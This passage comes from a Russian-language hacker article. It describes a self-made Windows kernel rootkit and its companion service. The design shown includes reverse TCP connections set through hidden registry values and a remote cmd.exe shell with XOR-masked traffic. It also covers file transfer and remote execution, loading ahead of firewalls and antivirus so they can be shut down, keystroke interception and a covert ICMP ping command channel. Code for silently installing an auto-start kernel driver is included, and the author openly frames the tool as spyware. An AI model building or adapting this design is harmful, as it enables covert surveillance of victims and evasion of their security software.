  сервис расширения устанавливает  сам, а не ждет,  когда он к нему присоединится. Это позволяет быть невидимым в списке
  открытых портов  на  машине,  а  также обходить  многие  правила  фильтрации  трафика  firewall'ов.  Чтобы  знать куда
  подключаться, сервис расширения с периодичностью в несколько  секунд обращается в  специальное место  реестра. Он ищет
  определенные значения, в которых будет указано на какую машину/порт необходимо инициировать подключение. 

  HKLM\SOFTWARE\!ic_inscruton\ConnectIP
  HKLM\SOFTWARE\!ic_inscruton\ConnectPort

    В случае удачного чтения этих значений, сервис  пытается установить  TCP соединение простым  вызовом Windows Sockets
  connect. Далее, как говорилось ранее, сервис получает команду для исполнения и выполняет ее; цикл повторяется. Драйвер
  же при  помощи  команд сетевого интерфейса  access и  clear_access устанавливает  и  очищает  соответствующие значения
  реестра. Так  и происходит нужная взаимосвязь. Через реестр можно передавать практически любую информацию. Недостатком
  данного подхода является необходимость  периодического опрашивания определенных заранее  мест реестра. Но как показала
  практика, на производительности системы это не сказывается сколь-нибудь заметным способом.


    3.СЕРВИС РАСШИРЕНИЯ !IC_sERv
    ----------------------------

    Описание основных возможностей и некоторые примеры алгоритма были приведены выше. Поэтому здесь рассмотрим различные
  вопросы реализации.Кроме своей основной работы сервис должен иметь достаточно много кода,отвечающего за взаимодействие
  с SC Manager'ом и реализующего стандартный интерфейс сервиса.

    После запуска сервис должен  тут же  вызвать StartServiceCtrlDispatcher, который  в  свою очередь вызовет  процедуру
  инициализации. Данная процедура  с  помощью  RegisterServiceCtrlHandler регистрирует  главный  обработчик,  после чего
  выполняет инициализацию  и  создает главный  поток. В завершении  должна быть вызвана SendStatusToSCM(SERVICE_RUNNING,
  NO_ERROR, 0 , 0, 0). После всего описанного ожидается завершение главного  потока. SendStatusToSCM  - это оболочка над
  функцией SetServiceStatus.Главный обработчик - это та процедура, которая обрабатывает основные управляющие воздействия
  на  сервис.  Она  обрабатывает,    например,    следующие    коды:    SERVICE_CONTROL_STOP,     SERVICE_CONTROL_PAUSE,
  SERVICE_CONTROL_CONTINUE, SERVICE_CONTROL_INTERROGATE, SERVICE_CONTROL_SHUTDOWN.

    !ic_serv.exe написан таким образом, что он сам может  себя  инсталлировать, запускать, приостанавливать, продолжать,
  останавливать и удалять, а также получать собственное состояния,используя определенный синтаксис командной строки. Это
  исключает необходимость написания дополнительных утилит, как  это было сделано  для драйвера. Ниже приведен  синтаксис
  командной строки:

  (*) Usage:
        !ic_serv.exe -i         Install service
        !ic_serv.exe -u         Uninstall service
        !ic_serv.exe -r         Run service
        !ic_serv.exe -s         Stop service
        !ic_serv.exe -p         Pause service
        !ic_serv.exe -c         Resume service
        !ic_serv.exe status     Current status

    Вся основная  работа  сервиса сосредоточена внутри  процедуры  потока ServiceThread. Принцип ее работы описан ранее.
  Выполнение команд основано на посылке блоков. Блок - это структура <длина><данные>. Если длина равна нулю, то это блок
  означает конец файла (В программе признак eot -  end  of transmission). Для того,  чтобы затруднить  анализ  трафика и
  "догадывание"  посторонних  лиц  о  том,  что  происходит, все  блоки перед  посылкой слегка модифицируются побайтовой
  операцией xor с определенной константой. Кроме того,  вид команд и кодов  ошибок имеет  нечитаемый вид, не позволяющий
  посторонним понять какая команда была выполнена без тщательного анализа трафика. 

    Одной  из  самых  важных  обрабатываемых  команд  является  команда shell, которая  предоставляет удаленному клиенту
  интерактивный интерфейс к  системной командной оболочке операционной  системы  -  cmd.exe. Технология реализации такой
  возможности заключается  в следующем: создается два  объекта  системы  Pipe и при запуске cmd.exe вход направляется на
  один из них, а выход - на другой. Далее создаются два потока, для  каждого  из которых предоставляется  сокет сетевого
  соединения. Первый поток  читает из  сокета данные и записывает их  в Pipe  входа командной оболочки, второй наоборот,
  читает данные из Pipe выхода командной оболочки и записывает их в сокет.Сетевое соединение для этой операции создается
  новое, инициируемое, разумеется,  со  стороны сервиса. На  стороне клиента должен  ожидать входящего соединения telnet
  клиент. 

    Так как он должен обрабатывать команды пользователя, необходим синтаксический разбор введенных пользователем данных.
  Для чего идеально подходит perl  с его мощным аппаратом регулярных выражений и текстовой обработкой данных. Вот список
  поддерживаемых им команд, часть из которых, для удобства пользователя, не является командами сервиса, а выполняется на
  локальной машине.

  ?     -- show this help
  lcd   -- local change directory
  cd    -- change directory
  quit  -- close session
  put   -- upload file to the remote machine
  get   -- download file from the remote machine
  dir   -- list the files in the current directory
  exec  -- execute the program and get it output
  run   -- just run the program
  pwd   -- show the current directory
  shell -- initiate remote cmd.exe session open

    Дальнейшее  расширение  возможностей  сервиса и  клиента в  виде  поддержки новых  функций  легко  реализуется через
  добавление новых команд и их  обработчиков. Это принципиально несложная  операция, так как опирается на уже работающую
  архитектуру системы. 

 
    4. УТИЛИТЫ ДИНАМИЧЕСКОЙ ЗАГРУЗКИ/ВЫГРУЗКИ ДРАЙВЕРОВ
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Суть утилит очень проста:  динамическая установка и загрузка драйверов  с одной стороны, и  динамическая остановка и
  удаление  -  с другой. Реализация  не  сложна  и опирается на вызовы SC Manager'а. Главными процедурами-оболочками над
  функциями SC Manager'а являются:

  BOOL InstallDriver (SC_HANDLE scm, LPCTSTR DriverName, LPCTSTR DriverExec)
  BOOL RemoveDriver(SC_HANDLE scm, LPCTSTR DriverName)
  BOOL StartDriver (SC_HANDLE scm, LPCTSTR DriverName)
  BOOL StopDriver(SC_HANDLE scm, LPCTSTR DriverName)

    Они в свою очередь опираются  на вызовы  OpenSCManager,  CreateService,  OpenService,  DeleteService,  StartService,
  ControlService.

    Утилита inst.exe имеет следующий командный интерфейс 

  (*) Usage: inst.exe   

    и заключается в последовательном вызове: InstallDriver(scm, argv[1], argv[2]) и StartDriver(scm, argv[1]).

    Утилита dele.exe имеет следующий командный интерфейс

  (*) Usage: dele.exe 

    и заключается в последовательном вызове: StopDriver(scm, argv[1]) и RemoveDriver(scm, argv[1]).

    Например инсталляция и запуск драйвера !ic_inscruton.sys производиться выполнением команды:

  inst.exe !ic_inscruton c:\winnt\system32\!ic_inscruton.sys

    Остановка и деинсталляция производится выполнением команды:

  dele.exe !ic_inscruton

    Преимущества  очевидны,  но  если мы  будем  использовать  этот  драйвер как  программу  шпионского  назначения (см.
  определение далее), то  возникнут  проблемы:  незаметной  инсталляции  драйвера  и  сервиса в систему. Даже не обладая
  непосредственным доступом к компьютеру пользователя, эта проблема имеет решение.

   Пишем  KernelMode  драйвер,  регистрируем  его (CreateService  -  см. SDK) Запускаем, и если все грамотно сделали, он
 грузится прямехонько в KernelMode.

   ;---------------------------------------------------------------------------------------------------------------------

  HANDLELoadDriver(WCHAR* szDriverFileName, WCHAR* szDeviceName, WCHAR* szDeviceDisplayName){
    
    HANDLEhSCManager, hService;
    WCHARszDriverPath[MAX_PATH];
    WCHAR*lpFilePart;

    hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
    if(!hSCManager)
      return NULL;

    GetFullPathName(szDriverFileName, MAX_PATH, szDriverPath, &lpFilePart);
    hService = CreateService(
      hSCManager, 
      szDeviceName, 
      szDeviceDisplayName,
      SERVICE_START | SERVICE_STOP | DELETE, 
      SERVICE_KERNEL_DRIVER, 
      SERVICE_AUTO_START, 
      SERVICE_ERROR_NORMAL, 
      szDriverPath, 
      NULL, NULL, NULL, NULL, NULL
    );
    
    if(!hService)
    {
      CloseServiceHandle(hSCManager);
      return NULL;
    }

    StartService(hService, 0, NULL);
    CloseServiceHandle(hSCManager);
    
    return hService;
  }

  ;---------------------------------------------------------------------------------------------------------------------
 
    Их реализацию  я  не  рассматриваю. Здесь  только  перечислены  основные функции. Кто решится развивать тему, сможет
  разобраться самостоятельно. После инсталляции,при последующих запусках windows,этот драйвер загружается до  фаерволов,
  антивирусов, star-force программ и других подобных приложений, что позволяет закрывать их как сервис, имея собственную
  сервисную часть, которую в службах не видно. 

    Остается задача: Servis+Driver=*.*=один файл!...

    ...На  счёт  импорта  есть  предложение копать  в  лоб, пока  не найдётся процедура проверки таблицы адресов функции
  экспорта. Проверку эту снять, и тогда можно сделать переходники  ко всем функциям  вида push addr/ret. Защищены только
  библиотеки kernel32, user32 и advapi32, т.к. я проходил место, где они читаются с диска, а что дальше - не докопался.

   
    5. УТИЛИТА УПРАВЛЕНИЯ ЧЕРЕЗ ICMP PING ПАКЕТЫ IC_RCTRL
    -----------------------------------------------------

    Это небольшая утилита (Inscruton  Remote Control), передающая  управляющие команды  для драйвера,  установленного на
  удаленной машине. Команды передаются в ICMP echo request  или echo reply пакетах в поле данных. Формат пакета приведен
  ниже.

    0                   1                   2                   3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +++++++++++++++++++++++++++++++++
   |     Type      |     Code      |          Checksum             |
   +++++++++++++++++++++++++++++++++
   |           Identifier          |        Sequence Number        |
   +++++++++++++++++++++++++++++++++
   |     Data ...
   +++++

    По стандарту Интернет RFC792 [6] поле данных может быть произвольного размера(до предела размеров IP пакетов в 64К),
  и отвечающий (тот, кто посылает echo reply в ответ на echo request) должен вернуть содержимое назад. Это предназначено
  для проверки  качества  связи, однако,  очевидно,  что  никто никогда  не  будет проверять содержимое поля данных PING
  пакетов, поэтому мы можем их использовать для своих нужд. Если драйвер обнаруживает ICMP PING пакет, в поле получателя
  IP пакета которого указан локальный адрес машины, и если поле данных начинается со специальной последовательности байт
  magic_command_sequence, то драйвер  начинает рассматривать этот пакет как содержащий некую команду. Формат поля данных
  управляющего PING пакета приведен ниже:

  ;---------------------------------------------------------------------------------------------------------------------

  char magic_command_sequence[] = "\xFF\xEE\xDD\xCC\xBB\xAA\xF0\x0D\xBE\xEF";
  const int magic_command_sequence_length = 10;

  struct ping_command {
    char magic_command_sequence[magic_command_sequence_length];
    WORD command; // код команды
  union {
    char command_data[0];
    ULONG spoofed_ip;
  }
  }

  ;---------------------------------------------------------------------------------------------------------------------

    Сейчас используется только одна команда - установка SPOOFED_IP. То есть того IP адреса на  который должен отзываться
  драйвер. Команда имеет код 1.

  Синтаксис ic_rctrl.exe:
  usage: ic_rctrl.exe  
        host        Remote machine with InscrutOn to control
        command:
            -s ip   Set spoofed ip

  Реализация ic_rctrl.

  Состав файлов проекта:
  ic_rctrl.cpp  - главный модуль
  resolve.cpp - набор процедур для разрешения и печати адресов
  iphdr.h - структуры и константы IP, ICMP пакетов
  resolve.h - прототипы функций, содержащихся в resolve.cpp

    Программа реализована  через  так  называемые  RAW  sockets. Это  значит, что отправитель  самостоятельно  формирует
  содержимое IP пакетов. Ключевые строчки программы:

  ;---------------------------------------------------------------------------------------------------------------------

  s = socket(AF_INET, SOCK_RAW, gProtocol);
  rc = sendto(s, icmpbuf, packetlen, 0, dest->ai_addr, (int)dest->ai_addrlen);

  ;---------------------------------------------------------------------------------------------------------------------


    6. Обзор аналогичных(или просто выполняющих аналогичные функции) программ, реализованных не через драйвер.
    ----------------------------------------------------------------------------------------------------------

    Программы  семейства  СOBA  РСЩ  (www.bezpeka.biz)  предназначены  для  наблюдения  за  деятельностью  пользователей
  компьютеров. 

    СOBA РСЩ работает  под  управлением  Windows  95/98/ME/NT/2000/XP.  Все  данные,  полученные  в процессе наблюдения,
  сохраняются в зашифрованный Log-файл. Программа работает  в фоновом  режиме незаметно для пользователя и перехватывает
  следующие события: 

   запуск приложений; 
   переключение между приложениями/окнами. 

    Дополнительно сохраняются текстовые статические и редактируемые элементы окна, в частности: 

  ∙ содержимое окон большинства чатов, таких как ICQ, AIM, Yahoo, и т.д.; 
  ∙ содержимое окна Internet - браузера (Internet Explorer); 
  ∙ содержимое писем, просмотренных при помощи Microsoft Outlook и Microsoft Outlook Express и т.д.;
  ∙ набор текста на клавиатуре; 
  ∙ вставка текста из буфера обмена; 
  ∙ работа с файловой системой; 
  ∙ работа с системным реестром; 
  ∙ инсталляция/деинсталляция приложений; 
  ∙ установка программ в автозапуск; 
  ∙ посещение интернет-сайтов. 

    Каждое событие имеет свою метку времени. 

    Log-файлы  преобразуются  в  HTML-формат  для  последующего удобного  просмотра  Internet - браузером (рекомендуется
  Internet Explorer версии 4.0 и выше).  Log-файл опционально может быть отослан по электронной почте на указанный адрес
  (либо сохранен по локальной сети на  указанный разделяемый ресурс) для дальнейшего просмотра и анализа.

    Важным преимуществом  программы является возможность  сохранения Log-файлов в специальную базу данных и последующего
  их  анализа путем задания условий поиска.Все настройки программы сведены в единый Центр управления. Изменение настроек
  не требует перезагрузки компьютера. Установка и настройка производится легко и быстро.

    Чем же отличается эта программа от  шпионского ПО ( Шпионское ПО (spyware) - специализированное ПО, используемое для
  скрытого наблюдения за  деятельностью  пользователя  компьютера. Один вид  используется  для записи сайтов, посещаемых
  интернет покупателями. Другой  Ц  захватывает  пароли, набранные  тексты, электронные  адреса, логи разговоров, делает
  скриншоты с монитора.) Рассматриваемая же программа предназначена для  различного рода корпоративных   учреждений, где
  практикуется ведение контроля за сотрудниками. Предусматривается первичный  доступ к системе для установки и настройки
  приложения. Из-за чего размер серверной части  приложения не имеет значения(в данном случаи 900К) Т.е. это лиш отчасти
  шпионский софт, к тому же отсутствует удалённое инфицирование.


    Защита от spyware
    ~~~~~~~~~~~~~~~~~

    1) Anti-keyloggerЩ

    Программный продукт Anti-keyloggerЩ имеет особенности, которые выгодно отличают его от других подобных продуктов: 
  не использует сигнатурной базы; 
  полная поддержка Unicode; 
  поддержка мультипроцессорных и многопоточных архитектур; 
  работа в Windowsо 2000/XP; 
  прозрачная защита "на лету"; 
  немедленная и постоянная защита; 
  защита от перехвата информации, помещенной в буфер обмена (Clipboard); 
  защита от перехвата нажатий клавиш; 
  защита от перехвата текста из окон; 
  легкость установки и настройки; 
  бесплатные обновления и пожизненная поддержка; 
  интерфейс на многих языках мира. 

    Защита  от  кейлоггинга включается  непосредственно  в  момент загрузки  операционной системы  -  еще  до  того, как
  пользователь входит в систему. Все работающие keylogging модули таким образом автоматически блокируются. 

    Anti-keyloggerЩ специально разработан для того, чтобы помочь пользователю решить ряд вопросов в жизни и бизнесе: 
  предотвратить кражу конфиденциальной информации; 
  предотвратить мошенничество при банковских операциях в Сети; 
  обеспечить безопасность электронной почты, мгновенных сообщений и чата; 
  предотвратить утечку конфиденциальной и частной информации; 
  защитить пароли, логины, ПИНы; 
  проводить политику правильного пользования компьютерами и Интернет; 
  блокировать шпионские программы, используемые конкурентами; 
  хранить тайну частной жизни; 
  и многое другое. 

    Минусы программы:
  а) Не фильтруют вызовы к GetKeyboardLayout.
  б) Там, в принципе, всё стандартно: защита от хуков и т.д... Особо нее вникал, так как нет ничего нового.

    2) Зарубежный представитель данного класса программ SpyCop сайт http://www.spycop.com О данной программе упоминается
  в книге Митника " Искусство обмана":

  ;---------------------------------------------------------------------------------------------------------------------

    Учитывая нынешнюю  доступностью  вредоносного  обеспечения, вашей  компании необходимо установить два уровня защиты.
  Требуется установить программы,отлавливающие шпионские модули, например, SpyCop (доступен по адресу www.spycop.com) на
  все рабочие станции и заставить всех работников самостоятельно проводить периодическое сканирование. Заодно необходимо
  объяснить работникам всю опасность загрузки программ или запуска приложений электронной почты,  которые могут привести
  к установке вредоносного ПО.

  ;---------------------------------------------------------------------------------------------------------------------

    "If your PC  is  infected with  spy  software, SpyCop will detect it with our brute force method of scanning! SpyCop
  literally goes through every program file on your hard drive leaving no stone unturned." 
  
  New Stealth Technology
  Finds Keyloggers
  Finds Chat Monitors
  Finds Password Recorders
  Finds Credit Card Recorders
  Finds Email Recorders
  Finds Internet Relay spy software
  Finds Screen Recorders
  Finds URL Recorders
  Disables spy software
  Detects Dormant spy software
  Auto Scanning Screensaver
  Easy To Use Auto Database Update Feature
  Unlimited Email Tech Support
  Easily Scan Single Files For Checking Of Suspicious Files
  Detect spy software That Renames & Moves Itself
  Database Search Query Tool
  Easily Find And Disable spy software With SpyCop
  Largest Surveillance Software Database In The World

    Драйверу,  собственно  говоря,  плевать  на  программы, построенные по  этому  типу, они о его существовании даже не
  подозревают. 


    7. Небольшой анализ софта и литературы, или что пригодится для написания дров:
    ------------------------------------------------------------------------------

    1) Jungo WinDriver/KernelDriver на http://www.jungo.com/.
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    1.1) Назначение  программы  WinDriver

    Программа  предназначена   для  разработки  драйверов  устройств,  она  работает   под  управлением  систем  Windows
  95/98/ME/NT/2000/CE, Linux, Solaris, VxWorks и OS/2. В защищённых  ОС нельзя  напрямую обращаться к "железу" на уровне
  приложения, где  обычно идёт  работа. Доступ к "железу" разрешён  только  на  уровне ядра или  нулевого кольца защиты.
  WinDriver позволяет обычной программе работать с "железом".

    1.2) Назначение программы DriverWizard. Первая помощь по созданию проекта.

    DriverWizard  поставляется  вместе  с WinDriver и  представляет собой  средство диагностики, позволяющее производить
  обращение к устройству без написания кода - вывод дампа памяти,  переключение регистров и  генерация прерываний. Также
  DriverWizard позволяет создать скелет драйвера, генерируя часть кода. 

    1.3) Порядок создания драйвера

    Для создания драйвера для Windows 95, 98, ME, NT и 2000:
  1.  Запускаем  DriverWizard. 
  2.  Указываем  подключение  устройства (интерфейс через  который  оно подключено)  или  же  просто указываем
    какое-либо абстрактное устройство, не подключенное через ISA, PCI, USB и т.д.
  3.  Указываем прерывания  /  порты и т.д. которые  будет  использовать  устройство, драйвер  для которого мы
    собираемся написать.
  4.  Генерируем исходный код - программу диагностики, содержащую функции, которые могут читать и записывать в
    ресурсы, указанные в п.3, и позволяющую обрабатывать прерывания. 
  5.  Модифицируем данный код в соответствии с нашими потребностями.
  6.  Запускаем  и отлаживаем  наш драйвер в пользовательском режиме.

    1.4) WinDriver содержит:

  - windrvr.h - WinDriver API, структуры данных и константы, определённые в начале файла;
  - windrvr_int_thread.h - файл, содержащий функции, которые позволяют упростить обработку прерываний.
  - DriverWizard - графический инструмент для диагностики вашего устройства, позволяющий упростить написание
    драйвера.
  - Graphical Debugger - графический инструмент, который анализирует информацию об отладке  во  время работы
    драйвера.
  - WinDriver distribution package - файлы, необходимые для включения в драйвер в целях продажи.
  - WinDriver Version 6.22 electronic manual - полное описание драйвера.
  - WinDriver Kernel PlugIn - файлы и примеры для создания Kernel PlugIn для WinDriver.

    1.5) Утилиты WinDriver

  - PCI_SCAN.EXE  (\windriver\util\pci_scan.exe)  -  утилита для определения PCI устройств, установленных на
    вашем компьютере, и ресурсов, относящихся к ним.
  - PCI_DUMP.EXE (\windriver\util\pci_dump.exe) - утилита для  анализа  всех конфигураций  установленных PCI
    устройств. 
  - USB_DIAG.EXE  (\windriver\util\usb_diag.exe)  -  утилита для определения USB устройств, установленных на
    вашем  компьютере, и ресурсов, относящихся к ним, и для доступа к ним.
 
    DriverWizard нужен для двух главных фаз создания драйвера:
  1.  Диагностика аппаратуры.
  2.  Генерация кода.


    Kernel PlugIn
    ~~~~~~~~~~~~~

    Пользовательское приложение работает в пользовательском режиме (User mode), а драйвер работает в режиме ядра (Kernel
  mode). Переход из одного режима в другой выполняется длительное время,что может ухудшить производительность программы.
  В этом случае, используя  Kernel PlugIn,  возможно  переместить  критичную часть  кода  на уровень ядра. Kernel PlugIn
  взаимодействует с WinDriver Kernel двумя способами:

  - как обработчик прерывания. Когда WinDriver принимает запрос на прерывание, запрос передаётся программе в
    пользовательский режим, но возможно перенаправить обработку запроса WinDriver Kernel PlugIn,тогда запрос
    будет обрабатываться на уровне ядра;
  - обработкой сообщений. Для выполнения функций в режиме ядра (таких как функций ввода/вывода) программа из
    пользовательского режима  просто  посылает  сообщение  WinDriver  Kernel PlugIn. Это  сообщение вызывает
    соответствующую функцию в режиме ядра.


    2) Numega_Driver_Studio_V2.5_Final на http://www.numega.com
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    2.1)Назначение программы Numega_Driver_Studio (см. пункт 1.1)

    Более мощное  по  функциональности приложение, способное  решить любую задачу. Глобальный мануал  по использованию в
  разработке.


  Литература:
  ~~~~~~~~~~~

  1.  Солдатов В.А. Программирование драйверов Windows. - М.: ООО "Бином-Пресс", 2004 г. - 432 с.
  2.  Шрайбер С. Недокументированные возможности Windows 2000. Библиотека программиста. - СПб.: Питер, 2002 г.- 544 с.
  3.  Соломон Д.,Руссинович М. Внутренней устройство Microsoft Windows 2000/Мастер-класс.-СПб.: Питер,2001 г. - 752 с.
  4.  Рихтер Дж. Windows для профессионалов: создание  эффективных  Win32-приложений с  учетом специфики  64-разрядной
  версии Windows - 4-e издание. - СПб.: Питер, 2001 г. - 752 с.
  5.  Джонс Э., Оланд Дж. Программирование в сетях Microsoft Windows/ Мастер-класс. СПб.: Питер, 2002 г. - 608 с.
  6.  RFC791 - INTERNET PROTOCOL.
  7.  RFC792 - INTERNET CONTROL MESSAGE PROTOCOL.
  8.  RFC793 - TRANSMISSION CONTROL PROTOCOL.                                                
  9.  DDK - Device Development Kit, Help&Sources.
  10.  MSDN&PSDK - Microsoft Developers Network & Platform Software Development Kit
  11.  www.sysinternals.com
  12.  www.rootkit.com
  13.  www.codeguru.com

    Уверенное и  умелое  программирование драйверов  на  уровне ядра  -  это дверь к бесконечному богатству возможностей
  операционной  системы, способ  их  полноценного,  эффективного  использования,  расширение  и  изменение  всех  частей
  операционной системы.


    ЗАКЛЮЧЕНИЕ
    ----------

    Фирма Microsoft  бережно  охраняет  секреты  устройства  своей  операционной  системы, храня  сокровища  информации,
  предоставляющие почти неограниченные возможности, глубоко внутри своей  корпорации. Однако  они не смогут удержать еще
  более стремительное движение  увлеченных  программистов  и  хакеров со всего мира, желающих  и способных разгадать все
  загадки, связанные с этим софтверным монстром. 

    Многая информация, которую использовали для написания этой программы, недокументированна,  что значит, что Microsoft
  об этом не  говорит  ни  слова. Ее нет  ни  в DDK, ни MSDN, ни  в других источниках информации, официально публикуемых
  Microsoft. Для того, чтобы ее изучить, мне пришлось провести много исследовательской работы.

    Такой способ построения систем удаленного контроля (драйвер + сервис расширения),  который, как я  уже говорил, я не
  встречал в  существующих  системах, предоставляет  очень  большие,  практически ничем  не ограниченные возможности. Мы
  способны отслеживать и контролировать, модифицировать и расширять абсолютно любые события, происходящие в системе.

    Технология перехвата системных вызовов ядра позволяет все это. Непосредственное взаимодействие  с другими драйверами
  позволяет полностью пользоваться их возможностями. Позволяет отслеживать,контролировать, расширять и модифицировать их
  взаимодействие с  пользовательскими процессами, другими  драйверами,  ядром. Это  позволяет  как угодно модифицировать
  поведение существующих  устройств  в  системе, создавать  новые,  контролировать  их использование, блокируя, скрывая,
  модифицируя в  случае  необходимости. Например,  некоторые  из  возможностей,  которые  приобретаются  на  этом уровне
  программирования

  - создание полноценной универсальной следящей системы
  - система криптографической защиты определенных ресурсов системы
  - скрытие и блокировка доступа к любым элементам системы
  - создание новых устройств и модификация поведения существующих
  - создание систем незаметного слежения за проходящим и уходящим трафиком с возможностью его блокировки

    Этот список можно продолжать достаточно долго.Вывод один: программирование на уровне ядра операционной системы - это
  ценнейший уровень  операционной  системы, овладение  которым  необходимо для  создания  мощных  системных  программных
  комплексов. 

    P.S.: надеюсь, что  представленный  материал  поможет  людям, которые  захотят  заняться разработкой  драйвера любой
  сложности, в том числе и для железа. Представленные программы помогут как профессионалам, так и новичкам.


    Примечание А: (см. исходный текст driver.cpp в архиве к статье)
    ---------------------------------------------------------------

    Примечание B: Подсистема контроллера клавиатуры (см. prilozenie_B.txt в архиве к статье)
    ----------------------------------------------------------------------------------------

    Файлы, входящие в проект:

  Размер  Название  Назначение
  29 031  ioman.cpp Основные обработчики перехваченных API вызовов.
  15 012  exec.cpp  Запуск процессов из ядра
  17 148  command.cpp Обработка команд сетевого интерфейса
  28 457  defense.cpp Процедуры  управления структурами  сокрытия ключей и значений реестра и некоторый другой
          код для защиты драйвера
  36 835  driver.cpp  Основной  файл  драйвера:  вся  инициализация  и  завершение.   Процедуры   DriverEntry,
          DriverUnload. Также OnSnifferPacket - управление ICMP PING пакетами.
  5 106   interrupt.cpp Установка  и  удаление перехвата  прерывания системных вызовов 2Eh. Сам новый обработчик
          прерывания.
  6 353   keyboard.cpp  Установка  перехвата  клавиатуры и  процедура обработки IRP  пакетов системного драйвера
          клавиатуры
  17 952  kpatch.cpp  Установка перехвата  и  удаление перехвата API вызовов. Процедуры получения информации о
        текущем процессе/потоке.Процедуры-оболочки над неэкспортируемыми функциями ядра.
  2 726   memory.cpp  Процедура  перехвата ZwCreateSection для  возможности перенаправления запуска исполнимых
          модулей.
  2 490   object.cpp  Обработчики  ZwClose  и  ZwQueryDirectoryObject  для  мониторинга  и получения состояния
          системы, подходящего для освобождения ресурсов.
  65 098  packet.cpp  Реализация мини-стека TCP/IP
  4 018   process.cpp Обработчики ZwCreateThread и ZwCreateProcess.Сейчас используются для мониторинга системы
  15 014  utility.cpp Некоторые дополнительные процедуры для дампинга отладочной информации и удобного доступа
          к реестру.




                    ,-:///X#############X/:-,               
                  ,-:/X#####################X/:-,           
                ,-:/X###########################%-,         
                ,-:///////:---:///X###############X/=       
                  ,---,         ,---:/X#############X/=     
                                      ,-:/X###########%-,   
                                        ,-:/X#########X/=   
                          ,-:///////:-----:/X###########%-, 
                        ,-:/X###########X/:-%###########X/= 
                        =/X#############X/:-:/X#########X/= 
                      =/X#############X/:---:/X#########X/= 
                    =/X###############X/=   =/X#########X/= 
                  ,-%#################X/:---:/X#########X/= 
                  =/X###################X///X###########X/= 
                  ,-%###################################X/= 
                    ,-:/X#####X///X#####################%-, 
                      ,-://///:---:/X#################X/:-, 
              =/////:-,   ,---, ,-:/X#################X/=   
            ,-%#####X///:-----:///X###################X/:-, 
          ,-%###########################################X/:-
        ,-:/X#############################################X/
        =/X###############################################X/
      =/X###########X/X#################X///:-:/X#######X/:-
    =/X###########X/:-----://///////:---,       =/X###X/:-, 
  ,-%#############%-,                             ,-:/:-,   
--%#############X/=                                         
//X#############%-,                                         
//X###########X/= По мотивам работы Seven'a.                                          
--:/X#########+   created by [sER], ICQ#267655                                         
  ,-:/X#####X/=   специально для BlackLogic staff.